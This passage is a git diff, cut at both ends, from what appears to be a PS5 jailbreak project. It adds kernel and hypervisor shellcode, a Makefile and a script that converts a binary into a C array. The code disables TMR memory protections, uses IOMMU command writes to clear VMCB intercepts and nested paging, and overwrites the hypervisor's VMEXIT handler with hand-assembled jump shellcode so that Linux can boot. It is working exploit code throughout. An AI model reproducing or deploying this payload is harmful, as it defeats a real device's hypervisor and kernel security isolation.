dest;+}++__attribute__((noinline, optimize("O0"))) int printf(const uint8_t *msg) {+ uint32_t max = 255;+ int ret = 0;++ for (int i = 0; i < 255; i++) {+ if (msg[i] == '\0') {+ break;+ }+ if (msg[i] == '\n') {+ putc_uart('\r');+ }+ ret = putc_uart(msg[i]);+ }++ return ret;+}++__attribute__((noinline, optimize("O0"))) void memcpy(void *dest, void *src,+ uint64_t len) {+ uint8_t *d = (uint8_t *)dest;+ const uint8_t *s = (const uint8_t *)src;+ for (uint64_t i = 0; i < len; i++) {+ d[i] = s[i];+ }+}++__attribute__((noinline, optimize("O0"))) char *strcpy(char *dest,+ const char *src) {+ char *d = dest;+ while ((*d++ = *src++)) {+ }+ return dest;+}++__attribute__((noinline, optimize("O0"))) void *memset(void *s, int c,+ uint64_t n) {+ unsigned char *p = (unsigned char *)s;+ while (n--) {+ *p++ = (unsigned char)c;+ }+ return s;+}++void disable_intr(void) { __asm__ __volatile__("cli" : : : "memory"); }++void halt(void) { __asm__ __volatile__("hlt"); }++uint64_t rdmsr(uint32_t msr) {+ uint32_t low, high;+ __asm__ __volatile__("rdmsr" : "=a"(low), "=d"(high) : "c"(msr));+ return ((uint64_t)high << 32) | low;+}++void wrmsr(uint32_t msr, uint64_t val) {+ uint32_t low = val & 0xFFFFFFFF;+ uint32_t high = val >> 32;+ __asm__ __volatile__("wrmsr" : : "a"(low), "d"(high), "c"(msr));+}++// Map FreeBSD atomic_add_32 to GCC builtin+void atomic_add_32(volatile uint32_t *p, uint32_t v) {+ __sync_fetch_and_add(p, v);+}++// Map FreeBSD atomic_cmpset_32 to GCC builtin+int atomic_cmpset_32(volatile uint32_t *dst, uint32_t exp, uint32_t src) {+ return __sync_bool_compare_and_swap(dst, exp, src);+}++uint8_t get_cpu(void) {+ uint32_t eax, ebx, ecx, edx;+ __get_cpuid(1, &eax, &ebx, &ecx, &edx);+ uint8_t cpu_id = (ebx >> 24) & 0xFF;+ return cpu_id;+}\ No newline at end of filediff --git a/shellcode_hypervisor/utils.h b/shellcode_hypervisor/utils.hnew file mode 100644index 0000000..0c25473--- /dev/null+++ b/shellcode_hypervisor/utils.h@@ -0,0 +1,28 @@+#ifndef UTILS_H+#define UTILS_H++#include <stdint.h>++uint32_t putc_uart(uint8_t tx_byte);+int printf(const uint8_t *msg);+uint8_t *u64_to_hex_custom(uint64_t val, uint8_t *dest);++extern uint8_t hex_val[17];++inline int print_val64(uint64_t val) {+ return printf(u64_to_hex_custom(val, hex_val));+}++void memcpy(void *dest, void *src, uint64_t len);+char *strcpy(char *dest, const char *src);+void *memset(void *s, int c, uint64_t n);++void disable_intr(void);+void halt(void);+uint64_t rdmsr(uint32_t msr);+void wrmsr(uint32_t msr, uint64_t val);+void atomic_add_32(volatile uint32_t *p, uint32_t v);+int atomic_cmpset_32(volatile uint32_t *dst, uint32_t exp, uint32_t src);+uint8_t get_cpu(void);++#endif\ No newline at end of filediff --git a/shellcode_kernel/Makefile b/shellcode_kernel/Makefilenew file mode 100644index 0000000..8b8fdb0--- /dev/null+++ b/shellcode_kernel/Makefile@@ -0,0 +1,33 @@+ifndef PS5_PAYLOAD_SDK+ PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/+endif+++CC = gcc+LD = ld+CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -I$(PS5_PAYLOAD_SDK)/target/include+LDFLAGS = -T linker.ld+TARGET = shellcode_kernel.elf+TEXT_BIN = shellcode_text.bin++SRC = main.c utils.c kernel_code.c+OBJ = $(SRC:.c=.o)++dump = shellcode_kernel.h++all: $(dump)++$(TARGET): $(OBJ)+ $(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET)++%.o: %.c+ $(CC) $(CFLAGS) -c $< -o $@++$(TEXT_BIN): $(TARGET)+ objcopy -O binary -j .text $(TARGET) $(TEXT_BIN)++clean:+ rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump)++$(dump): $(TEXT_BIN)+ python3 bin_to_c_kernel.py $(TEXT_BIN)\ No newline at end of filediff --git a/shellcode_kernel/bin_to_c_kernel.py b/shellcode_kernel/bin_to_c_kernel.pynew file mode 100644index 0000000..9bf7e88--- /dev/null+++ b/shellcode_kernel/bin_to_c_kernel.py@@ -0,0 +1,48 @@+import sys+import os++def create_shellcode_header(input_file_text):+ if not os.path.exists(input_file_text):+ print(f"Error: {input_file_text} not found.")+ return++ # Read binary data_text+ with open(input_file_text, "rb") as f:+ data_text = f.read()++ # Hardcoded output name+ output_name = "shellcode_kernel.h"+ array_name_text = "shellcode_kernel_text"++ with open(output_name, "w") as f:+ f.write(f"// Generated from {input_file_text}\n")+ f.write(f"#ifndef SHELLCODE_KERNEL_H\n")+ f.write(f"#define SHELLCODE_KERNEL_H\n\n")+ f.write(f"#include <unistd.h>\n\n")++ f.write(f"#include \"shellcode_kernel_args.h\"\n\n")++ f.write(f"uint8_t {array_name_text}[] = {{\n ")++ for i, byte in enumerate(data_text):+ f.write(f"0x{byte:02X}")++ if i < len(data_text) - 1:+ f.write(", ")++ # New line every 12 bytes+ if (i + 1) % 12 == 0:+ f.write("\n ")++ f.write(f"\n}};\n\n")+ f.write(f"uint64_t {array_name_text}_len = {len(data_text)};\n\n")++ f.write(f"#endif // SHELLCODE_KERNEL_H\n")++ print(f"Done! Created {output_name} ({len(data_text)} bytes)")++if __name__ == "__main__":+ if len(sys.argv) < 2:+ print("Usage: python bin_to_c_kernel.py <text.bin>")+ else:+ create_shellcode_header(sys.argv[1])\ No newline at end of filediff --git a/shellcode_kernel/kernel_code.c b/shellcode_kernel/kernel_code.cnew file mode 100644index 0000000..fcdffbd--- /dev/null+++ b/shellcode_kernel/kernel_code.c@@ -0,0 +1,184 @@+#include "kernel_code.h"+#include "../include/config.h"+#include "../shellcode_hypervisor/shellcode_hypervisor.h"+#include "shellcode_kernel_args.h"+#include "utils.h"++#define DIG1TRANSMITTERCONTROL 0x4c++#define TRANSMITTER_CONTROL_ENABLE 1+#define TRANSMITTER_CONTROL_SET_VOLTAGE_AND_PREEMPASIS 11++int (*transmitter_control)(int cmd, void *control) = NULL; // Filled by main.c+int (*mp3_initialize)(int vmid) = NULL; // Filled by main.c+int (*mp3_invoke)(int cmd_id, void *req, void *rsp) = NULL; // Filled by main.c++uint64_t g_vbios; // Filled by main.c++typedef struct {+ uint8_t lanenum;+ uint32_t rate;+ uint32_t pad;+ uint32_t lane_setting_1;+ uint32_t lane_setting_2;+} transmitter_args;++struct dig_transmitter_control_parameters_v1_6 {+ uint8_t phyid;+ uint8_t action;+ union {+ uint8_t digmode;+ uint8_t dplaneset;+ } mode_laneset;+ uint8_t lanenum;+ uint32_t symclk_10khz;+ uint8_t hpdsel;+ uint8_t digfe_sel;+ uint8_t connobj_id;+ uint8_t reserved;+ uint32_t reserved1;+};++struct linux_info {+ uintptr_t bzimage;+ size_t bzimage_size;+ uintptr_t initrd;+ size_t initrd_size;+ size_t vram_size;+ char cmdline[2048];+};++static struct linux_info info;++static int mp3_req[1281], mp3_rsp[1282];++static inline void stac(void) { __asm__ volatile("stac" : : : "cc"); }++static inline void clac(void) { __asm__ volatile("clac" : : : "cc"); }++static inline uint64_t vmmcall(uint64_t nr, uint64_t a0, uint64_t a1,+ uint64_t a2) {+ uint64_t ret;+ __asm__ volatile("vmmcall"+ : "=a"(ret)+ : "a"(nr), "b"(a0), "c"(a1), "d"(a2)+ : "memory");+ return ret;+}++static int dp_enable_link_phy(int lanenum, int linkrate) {+ struct dig_transmitter_control_parameters_v1_6 params = {};+ params.phyid = 0;+ params.action = TRANSMITTER_CONTROL_ENABLE;+ params.mode_laneset.digmode = 0;+ params.lanenum = lanenum;+ params.symclk_10khz = 27000 * linkrate / 10;+ params.hpdsel = 0;+ params.digfe_sel = 0;+ params.connobj_id = 0;++ return transmitter_control(DIG1TRANSMITTERCONTROL, ¶ms);+}++static int mp3_set_hdcp_packet(int be, int mode) {+ mp3_req[0] = be;+ mp3_req[1] = mode;+ return mp3_invoke(21, mp3_req, mp3_rsp);+}++static int mp3_enable_output(int be, int mode) {+ mp3_req[0] = be;+ mp3_req[1] = mode;+ return mp3_invoke(22, mp3_req, mp3_rsp);+}++static void patch_hv(void) {++ // Install identity map for HV+ // HV Shellcode 1 it's updating CR3+ uint64_t identity_cr3 = cave_hv_paging; // P, RW, US=0+ uint64_t identity_pml4_0 =+ identity_cr3 ++ 0x1003ULL; // P, RW, US=0 - 512GB // offset 0 +0x1000 from PML4+ uint64_t l40_l3_addr = PAGE_PA(identity_pml4_0); // addr PML4[0]+ uint64_t identity_pml40_l3[] = {+ 0x0000000000000083, // P, RW, US=0 - 0 GB to 1 GB+ 0x0000000040000083, // P, RW, US=0 - 1 GB to 2 GB+ 0x0000000080000083, // P, RW, US=0 - 3 GB to 3 GB+ 0x00000000C0000083, // P, RW, US=0 - 4 GB to 4 GB+ 0x0000000100000083 // P, RW, US=0 - 5 GB to 6 GB --> Our paging structure+ };+ uint64_t l3_size = sizeof(identity_pml40_l3) / sizeof(identity_pml40_l3[0]);++ // Create the map in memory+ *(uint64_t *)PHYS_TO_DMAP(identity_cr3) = identity_pml4_0;+ for (uint64_t i = 0; i < l3_size; i++) {+ *(uint64_t *)PHYS_TO_DMAP(l40_l3_addr + i * 8) = identity_pml40_l3[i];+ }++ // Install hv_shellcode 2+ uint64_t hv_shellcode = cave_hv;+ memcpy((void *)PHYS_TO_DMAP(hv_shellcode), shellcode_hypervisor,+ shellcode_hypervisor_len);++ // Jump to shellcode final identity mapping+ uint8_t shellcode_jmp[] = {+ 0x48, 0xC7, 0xC0, 0x00, 0x6F, 0x80, 0x62, // mov rax, 0x62806f00+ 0xFF, 0xE0, 0xC3, 0xC3, 0xC3, 0xC3, 0xC3, // jmp rax+ 0xC3, 0xC3};++ // Update code cave in hv 1:1 region+ *(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa;++ // Just patch the VMEXIT handler directly, avoiding all checks (0x6282b45d)+ memcpy(PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp,+ sizeof(shellcode_jmp));++ uint8_t shellcode_identity_and_jmp[] = {+ 0x48, 0xB8, 0x00, 0x00, 0x00,+ 0x00, 0x01, 0x00, 0x00, 0x00, // movabs rax, 0x100000000+ 0x0F, 0x22, 0xD8, // mov cr3, rax+ 0x48, 0xB8, 0x00, 0x30, 0x00,+ 0x00, 0x01, 0x00, 0x00, 0x00, // movabs rax, 0x100003000+ 0xFF, 0xE0 // jmp rax+ };++ // Update CR3 PA (from config)+ *(uint64_t *)(&shellcode_identity_and_jmp[2]) = cave_hv_paging;+ // Update HV shellcode cave+ *(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code;++ // Install shellcode 1 to update CR3 and jump to main HV shellcode+ memcpy(PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp,+ sizeof(shellcode_identity_and_jmp));+}++void boot_linux(void) {++ patch_hv();++ memcpy((void *)PHYS_TO_DMAP(0xC0000), g_vbios, 0x10000);++ // Enable DP phys link.+ dp_enable_link_phy(4, 30);++ // Initialize hdcp in mp3.+ mp3_initialize(0);+ mp3_set_hdcp_packet(0, 1);+ mp3_enable_output(0, 1);++ // Copy bzImage and initrd into contiguous memory.+ memcpy(&info, (void *)args.linux_info_va, sizeof(struct linux_info));++ uintptr_t bzimage = info.bzimage; // Kernel wrote the VA here+ uintptr_t initrd = info.initrd; // Kernel wrote the VA here++ info.bzimage = cave_bzImage;+ info.initrd = cave_bzImage + ALIGN_UP(info.bzimage_size, PAGE_SIZE);++ memcpy((void *)PHYS_TO_DMAP(cave_linux_info), &info,+ sizeof(struct linux_info));+ memcpy((void *)PHYS_TO_DMAP(info.bzimage), (void *)bzimage,+ info.bzimage_size);+ memcpy((void *)PHYS_TO_DMAP(info.initrd), (void *)initrd, info.initrd_size);+}diff --git a/shellcode_kernel/kernel_code.h b/shellcode_kernel/kernel_code.hnew file mode 100644index 0000000..72f9378--- /dev/null+++ b/shellcode_kernel/kernel_code.h@@ -0,0 +1,24 @@+#ifndef KERNEL_CODE_H+#define KERNEL_CODE_H++#include <stdint.h>++#define cave 0x100000000ULL+#define cave_hv_paging cave+#define cave_hv cave_hv_paging + 0x3000+#define cave_linux cave_hv + 0x2000++#define PAGE_SIZE 4096+#define ALIGN_UP(size, align) (((size) + (align) - 1) & ~((align) - 1))++static int dp_enable_link_phy(int lanenum, int linkrate);+static void patch_hv(void);+void boot_linux(void);++extern int (*transmitter_control)(int cmd, void *control);+extern int (*mp3_initialize)(int vmid);+extern int (*mp3_invoke)(int cmd_id, void *req, void *rsp);++extern uint64_t g_vbios; // for main.c++#endif\ No newline at end of filediff --git a/shellcode_kernel/linker.ld b/shellcode_kernel/linker.ldnew file mode 100644index 0000000..269ff56--- /dev/null+++ b/shellcode_kernel/linker.ld@@ -0,0 +1,18 @@+/* linker.ld */+ENTRY(main)++SECTIONS+{+ . = 0x1000; /* 0x1000 to avoid warnings from linker */+ .text :+ {+ *(.entry_point)+ *(.text)+ *(.text.*)+ *(.data)+ *(.data.*)+ *(.rodata*)+ *(.bss)+ *(.bss.*)+ }+}\ No newline at end of filediff --git a/shellcode_kernel/main.c b/shellcode_kernel/main.cnew file mode 100644index 0000000..98b9d68--- /dev/null+++ b/shellcode_kernel/main.c@@ -0,0 +1,296 @@+#include "main.h"+#include "kernel_code.h"+#include "utils.h"+#include <stdint.h>+typedef int32_t size_t;+typedef int32_t cpusetid_t;+typedef int cpuwhich_t;+typedef int cpulevel_t;+typedef int32_t id_t;+#include <sys/_cpuset.h>+#include <sys/cpuset.h>++#define MSR_EFER 0xC0000080++shellcode_kernel_args args = {+ .fw_version = 0xDEADBEEF, .fun_printf = 0x0, .vmcb = {0}};++// We are being called instead of AcpiSetFirmwareWakingVector from+// acpi_wakeup_machdep+__attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,+ uint64_t add2) {++ // We will do main checks on .text only with a reference to .data to avoid+ // fixed offsets first After NPTs are disabled, we can continue nornmally+ // using all the variables in .data that are embedded in shellcode+ volatile shellcode_kernel_args *args_ptr =+ (volatile shellcode_kernel_args+ *)0x11AA11AA11AA11AA; // To be replaced with proper address in .kdata+ // by loader++ // "Hide" the pointer from the optimizer+ __asm__ volatile("" : "+r"(args_ptr));++ // We don't have required information - Abort+ if ((args_ptr->fun_printf & 0xFFFF) == 0) {+ goto out;+ }++ // Activate UART on Kernel+ uint32_t *uart_va = (uint32_t *)(args_ptr->dmap_base + 0xC0115110ULL);+ *uart_va &= ~0x200;+ uint32_t *override_char_va = (uint32_t *)args_ptr->kernel_uart_override;+ *override_char_va = 0x0;++ uint64_t iommu_cb2_pa =+ ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb2_va);+ uint64_t iommu_cb3_pa =+ ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb3_va);+ uint64_t iommu_eb_pa =+ ((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_eb_va);++ uint64_t unk;+ int n_devices;++ // Reconfigure IOMMU calling the HV+ int ret = ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t,+ int *))args_ptr->fun_hv_iommu_set_buffers)(+ iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, &unk, &n_devices);++ if (ret != 0) {+ putc_uart(args_ptr->dmap_base, 'I');+ putc_uart(args_ptr->dmap_base, 'O');+ putc_uart(args_ptr->dmap_base, 'M');+ putc_uart(args_ptr->dmap_base, 'M');+ putc_uart(args_ptr->dmap_base, 'U');+ putc_uart(args_ptr->dmap_base, ' ');+ putc_uart(args_ptr->dmap_base, 's');+ putc_uart(args_ptr->dmap_base, 'b');+ putc_uart(args_ptr->dmap_base, ' ');+ putc_uart(args_ptr->dmap_base, 'X');+ putc_uart(args_ptr->dmap_base, '\n');+ goto out;+ }++ // Wait for completion+ ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)();++ if (ret == 0) {++ putc_uart(args_ptr->dmap_base, 'I');+ putc_uart(args_ptr->dmap_base, 'O');+ putc_uart(args_ptr->dmap_base, 'M');+ putc_uart(args_ptr->dmap_base, 'M');+ putc_uart(args_ptr->dmap_base, 'U');+ putc_uart(args_ptr->dmap_base, ' ');+ putc_uart(args_ptr->dmap_base, 's');+ putc_uart(args_ptr->dmap_base, 'b');+ putc_uart(args_ptr->dmap_base, ' ');+ putc_uart(args_ptr->dmap_base, 'O');+ putc_uart(args_ptr->dmap_base, 'K');+ putc_uart(args_ptr->dmap_base, '\n');++ // Allow R/W on HV and Kernel area+ if (tmr_disable(args_ptr->dmap_base)) {++ putc_uart(args_ptr->dmap_base, 'T');+ putc_uart(args_ptr->dmap_base, 'M');+ putc_uart(args_ptr->dmap_base, 'R');+ putc_uart(args_ptr->dmap_base, ' ');+ putc_uart(args_ptr->dmap_base, 'X');+ putc_uart(args_ptr->dmap_base, '\n');++ goto out;+ }++ putc_uart(args_ptr->dmap_base, 'T');+ putc_uart(args_ptr->dmap_base, 'M');+ putc_uart(args_ptr->dmap_base, 'R');+ putc_uart(args_ptr->dmap_base, ' ');+ putc_uart(args_ptr->dmap_base, 'O');+ putc_uart(args_ptr->dmap_base, 'K');+ putc_uart(args_ptr->dmap_base, '\n');++ // Patch HV+ patch_vmcb(args_ptr);++ putc_uart(args_ptr->dmap_base, 'V');+ putc_uart(args_ptr->dmap_base, 'M');+ putc_uart(args_ptr->dmap_base, 'C');+ putc_uart(args_ptr->dmap_base, 'B');+ putc_uart(args_ptr->dmap_base, ' ');+ putc_uart(args_ptr->dmap_base, 'O');+ putc_uart(args_ptr->dmap_base, 'K');+ putc_uart(args_ptr->dmap_base, '\n');++ // Re-do this to force a VMEXIT without HV injecting faults+ ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t,+ int *))args_ptr->fun_hv_iommu_set_buffers)(+ iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, &unk, &n_devices);+ ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)();++ putc_uart(args_ptr->dmap_base, 'B');+ putc_uart(args_ptr->dmap_base, 'a');+ putc_uart(args_ptr->dmap_base, 'c');+ putc_uart(args_ptr->dmap_base, 'k');+ putc_uart(args_ptr->dmap_base, ' ');+ putc_uart(args_ptr->dmap_base, 'f');+ putc_uart(args_ptr->dmap_base, 'r');+ putc_uart(args_ptr->dmap_base, 'o');+ putc_uart(args_ptr->dmap_base, 'm');+ putc_uart(args_ptr->dmap_base, ' ');+ putc_uart(args_ptr->dmap_base, 'H');+ putc_uart(args_ptr->dmap_base, 'V');+ putc_uart(args_ptr->dmap_base, '\n');++ // We can now initiate the global args variable and use it, as NPTs are+ // disabled+ init_global_pointers(args_ptr);++ printf("HV_Defeat: we should be ready for Linux part\n");++ boot_linux();+ printf("Linux prepared OK\n");++ // Activate HV UART - Not really needed but good for debugging+ // *(uint32_t*)PHYS_TO_DMAP(args.hv_uart_override_pa) = 0x0;++ printf("Calling smp_rendezvous to exit all cores to HV with ptr: %016lx\n",+ (uint64_t)vmmcall_dummy);+ printf("Good Bye VM :)\n");++ smp_rendezvous(smp_no_rendevous_barrier, vmmcall_dummy,+ smp_no_rendevous_barrier, NULL);++ printf("We shouldn't be here :(\n");+ } else {+ putc_uart(args_ptr->dmap_base, 'I');+ putc_uart(args_ptr->dmap_base, 'O');+ putc_uart(args_ptr->dmap_base, 'M');+ putc_uart(args_ptr->dmap_base, 'M');+ putc_uart(args_ptr->dmap_base, 'U');+ putc_uart(args_ptr->dmap_base, ' ');+ putc_uart(args_ptr->dmap_base, 's');+ putc_uart(args_ptr->dmap_base, 'b');+ putc_uart(args_ptr->dmap_base, ' ');+ putc_uart(args_ptr->dmap_base, 'N');+ putc_uart(args_ptr->dmap_base, 'O');+ putc_uart(args_ptr->dmap_base, ' ');+ putc_uart(args_ptr->dmap_base, 'O');+ putc_uart(args_ptr->dmap_base, 'K');+ putc_uart(args_ptr->dmap_base, '\n');+ }++out:+ return 0;+}++__attribute__((noinline, optimize("O0"), naked)) void vmmcall_dummy(void) {+ __asm__ volatile("mov $0x1, %rax \n"+ "vmmcall \n"+ "ret \n");+}++void halt(void) { __asm__ __volatile__("hlt"); }++// Submit a single 16-byte command and wait for completion+__attribute__((noinline, optimize("O0"))) void+iommu_submit_cmd(shellcode_kernel_args *args_ptr, uint64_t *cmd) {+ // Read the offset of current tail of command list+ uint64_t curr_tail = *(+ (uint64_t *)args_ptr->iommu_mmio_va ++ IOMMU_MMIO_CB_TAIL /+ 8); // Offset in IOMMU Command Buffer - Downscale the size of the ptr+ uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) &+ IOMMU_CB_MASK; // Offset in IOMMU Command Buffer++ // We write the command in the current empty entry+ uint64_t *cmd_buffer =+ args_ptr->iommu_cb2_va + curr_tail / 8; // Downscale the size of the ptr+ // Copy 0x10 bytes (CMD Size)+ cmd_buffer[0] = cmd[0];+ cmd_buffer[1] = cmd[1];++ __asm__ volatile("" : : : "memory"); // Prevent reordering+ *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) =+ next_tail; // Indicate the IOMMU that there is a CMD - Downscale the size+ // of the ptr++ // Wait CMD processing completion - Head will be the Tail+ while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) !=+ *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8))+ ;+}++// Write 8 bytes to a physical address using IOMMU completion wait store+__attribute__((noinline, optimize("O0"))) void+iommu_write8_pa(shellcode_kernel_args *args_ptr, uint64_t pa, uint64_t val) {+ uint32_t cmd[4] = {0};+ cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05;+ cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000;+ cmd[2] = (uint32_t)(val);+ cmd[3] = (uint32_t)(val >> 32);+ iommu_submit_cmd(args_ptr, (uint64_t *)cmd);+}++__attribute__((noinline, optimize("O0"))) void+patch_vmcb(shellcode_kernel_args *args_ptr) {+ for (int i = 0; i < 16; i++) {+ uint64_t pa = args_ptr->vmcb[i];+ // args_ptr->fun_printf("Patching core: %02d VMCB_PA: 0x%016lx\n", i,+ // args_ptr->vmcb[i]);+ iommu_write8_pa(args_ptr, pa + 0x00,+ 0x0000000000000000ULL); // Clear all intercepts (R/W) to+ // CR0-CR15 and DR0-DR15+ iommu_write8_pa(args_ptr, pa + 0x08,+ 0x0004000000000000ULL); // Clear all intercepts of except.+ // vectors but CPUID+ iommu_write8_pa(args_ptr, pa + 0x10,+ 0x000000000000000FULL); // Clear all except VMMCALL, VMLOAD,+ // VMSAVE, VMRUN+ iommu_write8_pa(args_ptr, pa + 0x58,+ 0x0000000000000001ULL); // Guest ASID ... 1 ?+ iommu_write8_pa(args_ptr, pa + 0x90,+ 0x0000000000000000ULL); // Disable NP_ENABLE+ }+}++__attribute__((noinline, optimize("O0"))) uint32_t tmr_read(uint64_t dmap,+ uint32_t addr) {+ *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr;+ return *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF);+}++__attribute__((noinline, optimize("O0"))) void+tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) {+ *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr;+ *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val;+}++// On 1.xx and 2.xx the HV is embedded in kernel area on TMR 16+// On 3.xx and 4.xx there are multiple TMR protecting HV and Kernel+__attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) {+ for (int i = 0; i < 24; i++) {+ if (tmr_read(dmap, TMR_CONFIG(i)) != 0) {+ tmr_write(dmap, TMR_CONFIG(i), 0);+ if (tmr_read(dmap, TMR_CONFIG(i)) != 0) {+ return -1;+ }+ }+ }+ return 0;+}++void init_global_pointers(shellcode_kernel_args *args_ptr) {++ memcpy(&args, args_ptr, sizeof(args));++ printf = args.fun_printf;+ smp_rendezvous = args.fun_smp_rendezvous;+ smp_no_rendevous_barrier = args.fun_smp_no_rendevous_barrier;++ transmitter_control = args.fun_transmitter_control;+ mp3_initialize = args.fun_mp3_initialize;+ mp3_invoke = args.fun_mp3_invoke;+ g_vbios = args.g_vbios;+}\ No newline at end of filediff --git a/shellcode_kernel/main.h b/shellcode_kernel/main.hnew file mode 100644index 0000000..50295fd--- /dev/null+++ b/shellcode_kernel/main.h@@ -0,0 +1,71 @@+#ifndef MAIN_H+#define MAIN_H+#include "shellcode_kernel_args.h"+#include <stdarg.h>+#include <stdint.h>+#include <sys/_cpuset.h>+#include <sys/_types.h>++void (*printf)(const char *format, ...);+uint32_t (*AcpiSetFirmwareWakingVector)(uint64_t PhysicalAddress,+ uint64_t PhysicalAddress64);+uint64_t (*kernel_va_to_pa)(uint64_t va);+uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa,+ uint64_t eb_pa, uint64_t unk, int *n_devices);+uint32_t (*hv_iommu_wait_completion)(void);+void (*smp_rendezvous)(void (*setup_func)(void *), void (*action_func)(void *),+ void (*teardown_func)(void *), void *arg);+void (*smp_rendezvous_cpus)(cpuset_t map, void (*setup_func)(void *),+ void (*action_func)(void *),+ void (*teardown_func)(void *), void *arg);+void (*smp_no_rendevous_barrier)(void);++// We are being called instead of AcpiSetFirmwareWakingVector from+// acpi_wakeup_machdep+uint32_t main(uint64_t add1, uint64_t add2);++uint64_t rdmsr(uint32_t msr);++// tmr via ecam b0d18f2+#ifndef ECAM_B0D18F2+#define ECAM_B0D18F2 (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000)+#define TMR_INDEX_OFF 0x80+#define TMR_DATA_OFF 0x84+#endif++// tmr layout (hardware)+#define TMR_BASE(n) ((n) * 0x10 + 0x00)+#define TMR_LIMIT(n) ((n) * 0x10 + 0x04)+#define TMR_CONFIG(n) ((n) * 0x10 + 0x08)+#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C)+#define TMR_CFG_PERMISSIVE 0x3F07+#define MAX_TMR 22+#define MAX_SAVED_TMRS 8++uint32_t tmr_read(uint64_t dmap, uint32_t addr);+void tmr_write(uint64_t dmap, uint32_t addr, uint32_t val);++int tmr_relax(void);++// Command buffer MMIO offsets+#define IOMMU_MMIO_CB_HEAD 0xa000+#define IOMMU_MMIO_CB_TAIL 0xa008++// Queue constants+#define IOMMU_CB_SIZE 0x2000+#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1)+#define IOMMU_CMD_ENTRY_SIZE 0x10++// Submit a single 16-byte command and wait for completion+void iommu_submit_cmd(shellcode_kernel_args *args_ptr, uint64_t *cmd);+// Write 8 bytes to a physical address using IOMMU completion wait store+void iommu_write8_pa(shellcode_kernel_args *args_ptr, uint64_t pa,+ uint64_t val);++void patch_vmcb(shellcode_kernel_args *args_ptr);++#define NULL (void *)0+void vmmcall_dummy(void);+void halt(void);++#endif\ No newline at end of filediff --git a/shellcode_kernel/shellcode_kernel_args.h b/shellcode_kernel/shellcode_kernel_args.hnew file mode 100644index 0000000..5c2a525--- /dev/null+++ b/shellcode_kernel/shellcode_kernel_args.h@@ -0,0 +1,37 @@+// This file is shared between main payload and kernel shellcode+#ifndef SHELLCODE_KERNEL_ARGS_H+#define SHELLCODE_KERNEL_ARGS_H++#include <stdint.h>++typedef struct {+ uint32_t fw_version;+ uint64_t ktext;+ uint64_t kdata;+ uint64_t dmap_base;+ uint64_t fun_printf;+ uint64_t fun_va_to_pa;+ uint64_t fun_hv_iommu_set_buffers;+ uint64_t fun_hv_iommu_wait_completion;+ uint64_t fun_acpi_set_fw_waking_vector;+ uint64_t fun_smp_rendezvous;+ uint64_t fun_smp_no_rendevous_barrier;+ uint64_t fun_transmitter_control;+ uint64_t fun_mp3_initialize;+ uint64_t fun_mp3_invoke;+ uint64_t g_vbios;+ uint64_t iommu_mmio_va;+ uint64_t iommu_cb2_va;+ uint64_t iommu_cb3_va;+ uint64_t iommu_eb_va;+ uint64_t vmcb[16];+ uint64_t kernel_uart_override;+ uint64_t hv_handle_vmexit_pa;+ uint64_t hv_code_cave_pa;+ uint64_t hv_uart_override_pa;+ uint64_t linux_info_va; // To relocate by kernel shellcode+} shellcode_kernel_args;++extern shellcode_kernel_args args; // Declared on main.c++#endif\ No newline at end of filediff --git a/shellcode_kernel/utils.c b/shellcode_kernel/utils.cnew file mode 100644index 0000000..69c1cc2--- /dev/null+++ b/shellcode_kernel/utils.c@@ -0,0 +1,77 @@+#include "utils.h"+#include "shellcode_kernel_args.h"++extern shellcode_kernel_args args;++uint64_t PHYS_TO_DMAP(uint64_t pa) { return args.dmap_base + pa; }++void memcpy(void *dest, void *src, uint64_t len) {+ uint8_t *d = (uint8_t *)dest;+ const uint8_t *s = (const uint8_t *)src;+ for (uint64_t i = 0; i < len; i++) {+ d[i] = s[i];+ }+}++uint64_t read_cr3(void) {+ uint64_t cr3;+ __asm__ volatile("mov %%cr3, %0"+ : "=r"(cr3) // Output: move CR3 into the variable 'cr3'+ : // No inputs+ : // No clobbered registers+ );+ return cr3;+}++// for ring0+uint64_t va_to_pa_kernel(uint64_t va) {+ uint64_t cr3 = read_cr3();+ return va_to_pa_custom(va, cr3);+}++// Source: PS5_kldload+uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) {++ uint64_t table_phys = cr3_custom & 0xFFFFFFFF;++ for (int level = 0; level < 4; level++) {+ int shift = 39 - (level * 9);+ uint64_t idx 